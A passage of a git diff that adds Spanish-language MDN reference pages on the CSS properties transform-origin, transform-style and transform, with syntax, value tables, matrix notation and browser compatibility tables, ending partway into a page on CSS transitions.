+ <dd><span lang="es"><span class="hps">Es</span> <span class="hps">una {{cssxref("&lt;length&gt;")}} o</span> <span class="hps">un {{cssxref("&lt;percentage&gt;")}}</span> <span class="hps">que indica</span> a <span id="result_box" lang="es"><span class="gt-trans-draggable hps">qué distancia del</span> <span class="gt-trans-draggable hps">borde superior</span> <span class="gt-trans-draggable hps">de la caja</span> <span class="gt-trans-draggable hps">se establece</span> <span class="gt-trans-draggable hps">el origen de</span> <span class="gt-trans-draggable hps">la transformación.</span></span></span></dd>
+ <dt><em>x-offset-keyword</em></dt>
+ <dd>Es una de las palabras clave <code>left</code>, <code>right</code> o <code>center</code> que indica <span id="result_box" lang="es"><span class="hps">a qué distancia del</span> <span class="hps">borde izquierdo</span> <span class="hps">de la caja</span> <span class="hps">se establece</span> <span class="hps">el origen de</span> <span class="hps">la transformación.</span></span></dd>
+ <dt><em>y-offset-keyword</em></dt>
+ <dd>Es una de las palabras clave <code>top</code>, <code>bottom</code> o <code>center</code> que indica <span id="result_box" lang="es"><span class="gt-trans-draggable hps">a qué distancia del</span> <span class="gt-trans-draggable hps">borde superior</span> <span class="gt-trans-draggable hps">de la caja</span> <span class="gt-trans-draggable hps">se establece</span> <span class="gt-trans-draggable hps">el origen de</span> <span class="gt-trans-draggable hps">la transformación.</span></span></dd>
+ <dt><em>z-offset</em></dt>
+ <dd>Es una {{cssxref("&lt;length&gt;")}} (y nunca un {{cssxref("&lt;percentage&gt;")}} el cual sería una declaración no válida) que describe que tan lejos del ojo del usuario se estable el origen de la posición z=0.</dd>
+</dl>
+
+<p>Las palabras clave son abreviaciones por convención que coinciden con los siguientes valores {{cssxref("&lt;percentage&gt;")}}:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Valor</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>0%</code></td>
+  </tr>
+  <tr>
+   <td><code>center</code></td>
+   <td><code>50%</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <td><code>top</code></td>
+   <td><code>0%</code></td>
+  </tr>
+  <tr>
+   <td><code>bottom</code></td>
+   <td><code>100%</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver <a class="internal" href="/En/CSS/Using_CSS_transforms" title="en/CSS/Using CSS transforms">Uso de CSS transforms</a> para más ejemplos.</p>
+
+<h3 id="Ejemplos_en_vivo">Ejemplos en vivo:</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="width: 22em;"><code>transform: none;</code></td>
+   <td>
+    <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid 1px; background-color: palegreen; transform: none; -webkit-transform: none; -moz-transform: none; -o-transform: none;"> </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>transform: rotate(30deg);</code></td>
+   <td>
+    <div style=""> </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>transform: rotate(30deg);<br>
+    transform-origin: 0 0;</code></td>
+   <td>
+    <div style=""> </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>transform: rotate(30deg);<br>
+    transform-origin: 100% 100%;</code></td>
+   <td>
+    <div style=""> </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>transform: rotate(30deg);<br>
+    transform-origin: -10em -30em;</code></td>
+   <td>
+    <div style=""> </div>
+   </td>
+  </tr>
+  <tr style="height: 5em;">
+   <td><code>transform: scale(1.9);</code></td>
+   <td>
+    <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid 1px; background-color: palegreen; transform: scale(1.9); -webkit-transform: scale(1.9); -moz-transform: scale(1.9); -o-transform: scale(1.9);"> </div>
+   </td>
+  </tr>
+  <tr style="height: 5em;">
+   <td><code>transform: scale(1.9);<br>
+    transform-origin: 0 0;</code></td>
+   <td>
+    <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid 1px; background-color: palegreen; transform: scale(1.9); -webkit-transform: scale(1.9); -moz-transform: scale(1.9); -o-transform: scale(1.9);"> </div>
+   </td>
+  </tr>
+  <tr style="height: 5em;">
+   <td><code>transform: scale(1.9);<br>
+    transform-origin: 100% -30%;</code></td>
+   <td>
+    <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid 1px; background-color: palegreen; transform: scale(1.9); -webkit-transform: scale(1.9); -moz-transform: scale(1.9); -o-transform: scale(1.9);"> </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>transform: skewX(50deg);</code></td>
+   <td>
+    <div style=""> </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>transform: skewY(50deg);<br>
+    transform-origin: 0 0;</code></td>
+   <td>
+    <div style=""> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transforms', '#transform-origin', 'transform-origin') }}</td>
+   <td>{{ Spec2('CSS3 Transforms') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>9.0{{ property_prefix("-ms") }}<br>
+    10.0</td>
+   <td>10.5{{ property_prefix("-o") }}<br>
+    12.10</td>
+   <td>3.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td>Sintaxis con tres valores</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("10") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Sintaxis con tres valores</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note"><strong>Note</strong>: Internet Explorer 5.5 o versiones posteriores soportan la propiedad <a class="external" href="http://msdn.microsoft.com/en-us/library/ms533014%28VS.85,loband%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533014(VS.85,loband).aspx">Matrix Filter</a> que puede ser usada para lograr efectos similares.</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">Uso de CSS transform</a></li>
+</ul>
diff --git a/files/es/web/css/transform-style/index.html b/files/es/web/css/transform-style/index.html
new file mode 100644
index 0000000000..5f16a1dd5f
--- /dev/null
+++ b/files/es/web/css/transform-style/index.html
@@ -0,0 +1,74 @@
+---
+title: transform-style
+slug: Web/CSS/transform-style
+translation_of: Web/CSS/transform-style
+---
+<p><span class="seoSummary">La propiedad <strong><code>transform-style</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> establece si el elemento hijo esta posicionado en el espacio 3D (preserve-3d) o esta integrado(flat) en el plano del elemento.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform-style.html")}}</div>
+
+
+
+<p>Si esta integrado (flat), el elemento hijo no existirá por sí solo en el espacio 3D.</p>
+
+<p>Como esta propiedad no se hereda, debe establecerse para todos los nodos internos descendientes (hijos) del elemento.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Keyword values */
+transform-style: flat;
+transform-style: preserve-3d;
+
+/* Global values */
+transform-style: inherit;
+transform-style: initial;
+transform-style: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>flat</code></dt>
+ <dd>Indica que el elemento hijo yace en el plano del elemento mismo.</dd>
+ <dt><code>preserve-3d</code></dt>
+ <dd>Indica que el elemento hijo debe ser posicionado en el espacio 3D.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-style-property', 'transform-style')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.transform-style")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms">Using CSS transforms</a></li>
+</ul>
+
+<div>{{CSSRef}}</div>
diff --git a/files/es/web/css/transform/index.html b/files/es/web/css/transform/index.html
new file mode 100644
index 0000000000..5dc3a1a6b2
--- /dev/null
+++ b/files/es/web/css/transform/index.html
@@ -0,0 +1,240 @@
+---
+title: transform
+slug: Web/CSS/transform
+tags:
+  - CSS
+  - Compatibilidad con los navegadores
+  - Experimental
+  - Propiedad CSS
+  - Referencia
+  - Transformación
+translation_of: Web/CSS/transform
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad CSS <code>transform</code> te permite modificar el espacio de coordenadas del modelo de formato visual CSS. Usándola, los elementos pueden ser trasladados, rotados, escalados o sesgados de acuerdo a los valores establecidos.</p>
+<div>{{EmbedInteractiveExample("pages/css/transform.html")}}</div>
+<p>Si la propiedad tiene un valor diferente a none, se creará un <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">contexto de pila</a>. En ese caso, el objeto actuará como un bloque de contención para los elementos con "position: fixed" que contenga.</p>
+
+
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush: css notranslate">/* Keyword values */
+transform: none;
+
+/* Function values */
+transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
+transform: translate(12px, 50%);
+transform: translateX(2em);
+transform: translateY(3in);
+transform: scale(2, 0.5);
+transform: scaleX(2);
+transform: scaleY(0.5);
+transform: rotate(0.5turn);
+transform: skew(30deg, 20deg);
+transform: skewX(30deg);
+transform: skewY(1.07rad);
+transform: matrix3d(1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0, 11.0, 12.0, 13.0, 14.0, 15.0, 16.0);
+transform: translate3d(12px, 50%, 3em);
+transform: translateZ(2px);
+transform: scale3d(2.5, 1.2, 0.3);
+transform: scaleZ(0.3);
+transform: rotate3d(1, 2.0, 3.0, 10deg);
+transform: rotateX(10deg);
+transform: rotateY(10deg);
+transform: rotateZ(10deg);
+transform: perspective(17px);
+
+/* Multiple function values */
+transform: translateX(10px) rotate(10deg) translateY(5px);
+
+/* Global values */
+transform: inherit;
+transform: initial;
+transform: unset;</pre>
+
+<dl>
+ <dt>
+ <h3 id="Valores">Valores</h3>
+ </dt>
+ <dt></dt>
+ <dt><code>&lt;transform-function&gt;</code></dt>
+ <dd>Una o más de las <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function">funciones de transformación CSS</a> que se aplicarán, ver más abajo.</dd>
+ <dt><code>none</code></dt>
+ <dd>Especifica que ninguna transformación podrá ser aplicada.</dd>
+ <dt>
+
+<p>{{cssinfo}}</p>
+ <h3 id="Síntasix_formal">Síntasix formal</h3>
+
+ <pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+ </dt>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Consulte <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">Uso de las transformaciones CSS.</a></p>
+
+<h2 id="Funciones_CSS_transform">Funciones CSS transform</h2>
+
+<p>La propiedad CSS <code>transform</code> permite manipular el sistema de coordenadas de un elemento usando las <strong>funciones de transformación</strong>. Estas funciones son descritas a continuación:</p>
+
+<h3 id="matrix">matrix</h3>
+
+<pre class="notranslate">transform:  matrix(a, c, b, d, tx, ty)
+</pre>
+
+<p>Específica una matriz de transformación 2D compuesta por seis valores a especificar. Esto es el equivalente a la aplicación de una transformación lineal de una matriz <math><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>b</mi></mtd><mtd><mstyle mathvariant="normal"><mrow><mi>t</mi><mi>x</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mi>c</mi></mtd><mtd><mi>d</mi></mtd><mtd><mstyle mathvariant="normal"><mrow><mi>t</mi><mi>y</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX"> \begin{pmatrix} a &amp; b &amp; \mathrm{tx} \\ c &amp; d &amp; \mathrm{ty} \\ 0 &amp; 0 &amp; 1 \end{pmatrix}          </annotation></semantics></math>de un  mapa coordenadas de un nuevo sistema de coordenadas en un sistema de coordenadas anterior por las siguientes igualdades de la matriz:  <math><semantics><mrow><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>b</mi></mtd><mtd><mstyle mathvariant="normal"><mrow><mi>t</mi><mi>x</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mi>c</mi></mtd><mtd><mi>d</mi></mtd><mtd><mstyle mathvariant="normal"><mrow><mi>t</mi><mi>y</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>b</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mstyle mathvariant="normal"><mrow><mi>t</mi><mi>x</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mi>c</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mstyle mathvariant="normal"><mrow><mi>t</mi><mi>y</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow></mrow><annotation encoding="TeX"> \begin{pmatrix} x_{\mathrm{prevCoordSys}} \\ y_{\mathrm{prevCoordSys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a &amp; b &amp; \mathrm{tx} \\ c &amp; d &amp; \mathrm{ty} \\ 0 &amp; 0 &amp; 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{newCoordSys}} \\ y_{\mathrm{newCoordSys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{newCoordSys}} + b y_{\mathrm{newCoordSys}} + \mathrm{tx} \\ c x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + \mathrm{ty} \\ 1 \end{pmatrix} </annotation></semantics></math></p>
+
+<div class="note"><strong>Nota:</strong> Viejas versiones de Gecko (Firefox) aceptan un {{cssxref("&lt;length&gt;")}} valor para <strong>tx</strong> y <strong>ty</strong>. Actualmente Gecko, junto con Webkit (Safari, Chrome) y Opera, soportan valor sin unidades {{cssxref("&lt;number&gt;")}} para <strong>tx</strong> y <strong>ty</strong>.</div>
+
+<h2 id="Ejemplos_realizados">Ejemplos realizados</h2>
+
+<pre class="notranslate"> background: gold;  width: 30em;
+
+ -webkit-transform: matrix(1, -0.2, 0, 1, 0, 0);
+      -o-transform: matrix(1, -0.2, 0, 1, 0, 0);
+         transform: matrix(1, -0.2, 0, 1, 0, 0);
+</pre>
+
+<pre class="notranslate"> background: wheat;
+ max-width: intrinsic;
+
+ -webkit-transform: matrix(1, 0, 0.6, 1,  250, 0);
+      -o-transform: matrix(1, 0, 0.6, 1,  250, 0);
+         transform: matrix(1, 0, 0.6, 1,  250, 0);
+</pre>
+
+<h4 id="Información_adicional">Información adicional</h4>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute/transform#General_Transformation">Ejemplo de transformación general de SVG</a></li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Linear_transformation#Examples_of_linear_transformation_matrices">Ejemplos de transformación lineal de matrices</a> Wikipedia</li>
+ <li><a class="external" href="http://www.mathamazement.com/Lessons/Pre-Calculus/08_Matrices-and-Determinants/coordinate-transformation-matrices.html">Transformación de coordenadas de matrices </a>mathamazement.com</li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533014(VS.85,loband).aspx">Filtro matriz de Microsoft</a> MSDN</li>
+</ul>
+
+<h3 id="rotate">rotate</h3>
+
+<pre class="eval notranslate" dir="rtl">transform:  rotate(deg);     /* ej. rotate(90deg) */</pre>
+
+<p>Define una operación de rotación 2D de un elemento, específicando la cantidad de grados (deg) que este rotará en sentido de las<em> </em>macecillas del reloj (según lo especificado por la propiedad <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/transform-origin">transform-origen</a>). La operación corresponde a la matriz <strong>[cos(angle) sin(angle) -sin(angle) cos(angle) 0 0]</strong>.</p>
+
+<h3 id="rotateX">rotateX</h3>
+
+<pre class="eval notranslate">transform:  rotateX(deg);    /* ej. rotateX(90deg) */       </pre>
+
+<p>Define una operación de rotación 3D de un elemento en el eje X.</p>
+
+<h3 id="rotateY">rotateY</h3>
+
+<pre class="eval notranslate">transform:  rotateY(deg);    /* ej. rotateY(90deg) */       </pre>
+
+<p>Define una operación de rotación 3D de un elemento en el eje Y.</p>
+
+<h3 id="rotateZ">rotateZ</h3>
+
+<pre class="eval notranslate">transform:  rotateZ(deg);    /* ej. rotateZ(90deg) */       </pre>
+
+<p>Define una operación de rotación 3D de un elemento en el eje Z.</p>
+
+<h3 id="scale">scale</h3>
+
+<pre class="eval notranslate">transform:  scale(sx[, sy]);    /* ej. scale(2.5, 4)*/</pre>
+
+<p>Especifica una operación de escalado 2D descrita por <strong>[sx, sy]</strong>.</p>
+
+<div class="note">
+<p>Nota: Si <strong>sy </strong>no es especificado, se asumirá que tanto <strong>sx </strong>como <strong>sy </strong>tendrán el mismo valor</p>
+</div>
+
+<h3 id="scaleX">scaleX</h3>
+
+<pre class="eval notranslate">transform:  scaleX(sx);     /* ej. scale(2.5)*/       </pre>
+
+<p>Especifica una operación de escalado 2D usando el vector <strong>[sx, 1]</strong>.</p>
+
+<h3 id="scaleY">scaleY</h3>
+
+<pre class="eval notranslate">transform:  scaleY(sy);    /* ej. scale(4)*/              </pre>
+
+<p>Especifica una operación de escalado 2D usando el vector <strong>[1, sy]</strong>.</p>
+
+<h3 id="skew">skew</h3>
+
+<pre class="eval notranslate">transform:  skew(ax[, ay]);     /* ej. skew(90deg,180deg)*/    </pre>
+
+<p>Sesga el elemento a lo largo del eje X y Y por los ángulos especificados. Si no se proporciona <strong>ay</strong>, no se llevará a cabo el sesgo del eje Y.</p>
+
+<div class="note">
+<p>La función skew() fue presentada en los primeros borradores. Esta ha sido removida pero sigue presente en algunas implementaciones. No debe usarse.</p>
+
+<p>Para lograr el mismo efecto, utilice la función skewX(). Si tu estas usando skew () con un parámetro o matriz (1, tan (ay), tan (ax), 1, 0, 0). Ten en cuenta que tan() no es una función CSS y así que tu mismo tienes que precalcular tus valores.</p>
+</div>
+
+<h3 id="skewX">skewX</h3>
+
+<pre class="eval notranslate">transform:  skewX(deg);     /* ej. skew(90deg)*/        </pre>
+
+<p>Sesga un elemento a lo largo del eje X por el ángulo dado.</p>
+
+<h3 id="skewY">skewY</h3>
+
+<pre class="eval notranslate">transform:  skewY(deg);     /* ej. skew(180deg)*/           </pre>
+
+<p>Sesga un elemento a lo largo del eje Y por el ángulo dado.</p>
+
+<h3 id="translate">translate</h3>
+
+<pre class="eval notranslate">transform:  translate(tx[, ty]);     /* ej. translate(50px, 100px) */ </pre>
+
+<p>Especifica una tanslación 2D dada por el vector <strong>[tx, ty]</strong>. Si <strong><code>ty</code> </strong>no es específicada, se asumirá que su valor es cero.</p>
+
+<p><code>Cada </code><a href="/en-US/docs/translation-value" title="/en-US/docs/translation-value"><code>translation-value</code></a> puede ser un valor de <code><a href="/en-US/docs/CSS/length" title="/en-US/docs/CSS/length">longuitud</a></code> o un valor de  <code><a href="/en-US/docs/CSS/percentage" title="/en-US/docs/CSS/percentage">porcentaje</a></code>.</p>
+
+<h3 id="translateX">translateX</h3>
+
+<pre class="eval notranslate">transform:  translateX(tx);     /* ej. translateX(50px) */  </pre>
+
+<p>Translada un elemento a lo largo del eje X.</p>
+
+<h3 id="translateY">translateY</h3>
+
+<pre class="eval notranslate">transform:  translateY(ty);     /* ej. translateY(100px) */    </pre>
+
+<p>Translada un elemento a lo largo del eje Y.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Adds 3D transform functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{Compat("css.properties.transform")}}</p>
+<h2 id="Véase_También">Véase También</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">Uso de transformaciones </a><a href="/en-US/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">CSS</a></li>
+ <li>Tipos de datos  <a href="/en-US/docs/translation-value" title="/en-US/docs/translation-value">&lt;translation-value&gt;</a></li>
+ <li> <a class="external" href="http://plugins.jquery.com/project/jquery-transform">Complemento de transformación 2D para jQuery </a>en navegador-cruzado.</li>
+</ul>
diff --git a/files/es/web/css/transiciones_de_css/index.html b/files/es/web/css/transiciones_de_css/index.html
new file mode 100644
index 0000000000..62142638c4
--- /dev/null
+++ b/files/es/web/css/transiciones_de_css/index.html
@@ -0,0 +1,700 @@
+---
+title: Transiciones de CSS
+slug: Web/CSS/Transiciones_de_CSS
+tags:
+  - CSS
+  - Gecko
+  - Transiciones de CSS
+translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
+---
+<p>{{ SeeCompatTable() }}</p>
+
+<p>Las transiciones CSS, parte del borrador de la especificación CSS3, proporcionan una forma de animar los cambios de las propiedades CSS, en lugar de que los cambios surtan efecto de manera instantánea. Por ejemplo, si cambias el color de un elemento de blanco a negro, normalmente el cambio es instantáneo. Al habilitar las transiciones CSS, el cambio sucede en un intervalo de tiempo que puedes especificar, siguiendo una curva de aceleración que puedes personalizar.</p>
+
+<div class="note"><strong>Nota:</strong> como la especificación de las transiciones CSS todavía se encuentra en fase de borrador, a todas las propiedades asociadas con ellas se les añade el prefijo "-moz-" para usarse en Gecko. Para la compatibilidad con WebKit, se aconseja usar también el prefijo "-webkit-" y para la compatibilidad con Opera, el prefijo "-o-". Es decir, por ejemplo,  la propiedad de transición se especificaría como <code>-moz-transition</code>, <code>-webkit-transition </code>y <code>-o-transition</code>.</div>
+
+<h2 id="Las_propiedades_de_transición_CSS">Las propiedades de transición CSS</h2>
+
+<p>Las transiciones CSS se controlan mediante la propiedad abreviada {{ cssxref("transition") }}. Es preferible utilizar este método porque de esta forma se evita que la longitud de la lista de parámetros sea diferente, lo que puede dar lugar a tener que emplear un tiempo considerablemente largo en depurar el código CSS.</p>
+
+<p>Puedes controlar los componentes individuales de la transición usando las siguientes subpropiedades:</p>
+
+<dl>
+ <dt>{{ cssxref("transition-property") }}</dt>
+ <dd>Especifica el nombre o nombres de las propiedades CSS a las que deberían aplicarse las transiciones. Sólo las propiedades que se enumeran aquí son animadas durante las transiciones; los cambios en el resto de las propiedades suceden de manera instantánea como siempre.</dd>
+ <dt>{{ cssxref("transition-duration") }}</dt>
+ <dd>Especifica la duración en la que sucederán las transiciones. Puedes especificar una única duración que se aplique a todas las propiedades durante la transición o valores múltiples que permitan a cada propiedad de transición un período de tiempo diferente.</dd>
+ <dt>{{ cssxref("transition-timing-function") }}</dt>
+ <dd>Especifica la curva cúbica bézier que se usa para definir cómo se computan los valores intermedios para las propiedades.</dd>
+ <dt>{{ cssxref("transition-delay") }}</dt>
+ <dd>Define el tiempo de espera entre el momento en que se cambia una propiedad y el inicio de la transición.</dd>
+</dl>
+
+<h2 id="Detectar_la_finalización_de_una_transición">Detectar la finalización de una transición</h2>
+
+<p>Hay un único acontecimiento que se desencadena cuando se completan las transiciones. En Firefox, el evento es <code>transitionend</code>, en Opera, <code>OTransitionEnd</code> y en WebKit es <code>webkitTransitionEnd</code>. Consulta la tabla de compatibilidades al final de la página si deseas más información. El evento <code>transitionend</code> ofrece dos propiedades:</p>
+
+<dl>
+ <dt><code>propertyName</code></dt>
+ <dd>Una cadena que indica el nombre de la propiedad CSS cuya transición se completó.</dd>
+ <dt><code>elapsedTime</code></dt>
+ <dd>Un float que indica el número de segundos que la transición se había estado ejecutando en el momento en que el acontecimiento se desencadenó. Este valor no está afectado por el valor de {{ cssxref("transition-delay") }}.</dd>
+</dl>
+
+<p>Como es habitual, puedes usar el método {{ domxref("element.addEventListener()") }} para monitorizar este acontecimiento:</p>
+
+<pre>el.addEventListener("transitionend", updateTransition, true);
+</pre>
+
